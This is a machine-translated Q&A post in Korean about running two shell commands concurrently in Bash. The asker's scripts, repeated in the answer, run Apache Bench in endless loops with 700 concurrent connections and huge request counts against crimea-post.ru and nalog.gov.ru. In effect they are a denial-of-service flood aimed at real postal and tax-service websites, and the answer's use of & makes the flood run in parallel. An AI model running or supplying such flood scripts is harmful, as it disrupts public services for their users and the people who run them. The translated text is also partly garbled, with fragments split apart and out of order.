다음 스크립트를 실행하세요.
#!/usr/bin/bash
while true
do
ab -c 700 -n 100000000000 -r http://crimea-post.ru/ >>crimea-post & ab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
done
똑같이 하세요
#!/usr/bin/bash
while true
do
ab -c 700 -n 100000000000 -r http://crimea-post.ru/ >>crimea-post
ab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
done
내 경험에 따르면 첫 번째 스크립트는 nalog
두 번째 스크립트(10분 이상 후)보다 더 빠르게(몇 초 이내) 파일을 생성하므로 후자가 ab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
완료될 때까지 기다려야 함을 알 수 있습니다. 이런 일은 있어서는 안 됩니다. 왜냐하면내가 지금까지 연구한 내용은두 번째 스크립트는 완료를 ab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
기다리지 않고 시작되도록 설계되었습니다 ab -c 700 -n 100000000000 -r http://crimea-post.ru/ >>crimea-post
. 이 두 ab
명령을 동시에 실행하고 싶은데 Bash에서 어떻게 이를 달성할 수 있나요?
PS 예 &
, 아니오 &&
. 나는 &&
그것이 무엇인지 알고 있으며 여기에 적용하고 싶지 않습니다.
답변1
아니요, cmd1 [newline] cmd2
전자와 같이 동시가 아닙니다 cmd1 & cmd2
. 전자는 cmd1
시작하기 전에 완료될 때까지 기다립니다 cmd2
.
첫 번째 명령이 실행되는 동안 실행을 계속하려면 &
명령을 두 줄로 분할할 때 이를 유지해야 합니다.
ab -c 700 -n 100000000000 -r http://crimea-post.ru/ >>crimea-post & ab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
~이 되다
ab -c 700 -n 100000000000 -r http://crimea-post.ru/ >>crimea-post &
ab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
다시 반복하기 전에 두 명령이 모두 완료되었는지 확인하려면 를 사용할 수 있습니다 wait
.
다른 셸 구성도 동시성을 제공합니다. 특히 파이프( 또는 두 개의 출력 스트림을 리디렉션하는 데 사용되는 a | b
일부 셸의 변형 ) 는 계속하기 전에 두 가지가 모두 완료될 때까지 실행 하고 기다립니다. 일부 쉘은 보조 프로세스도 지원합니다(참조:a |& b
a
b
다양한 쉘에서 coproc 명령을 사용하는 방법은 무엇입니까?) 및 프로세스 대체(참조:다양한 쉘에서 coproc 명령을 사용하는 방법은 무엇입니까?)을 사용하여 명령을 동시에 실행할 수 있습니다.
바라보다쉘의 제어 및 리디렉션 연산자는 무엇입니까?목록 종결자(포함 &
) 및 파이프 연산자에 대한 세부정보입니다.
a
¹ 보조 프로세스로 실행되는 ksh는 제외됩니다 .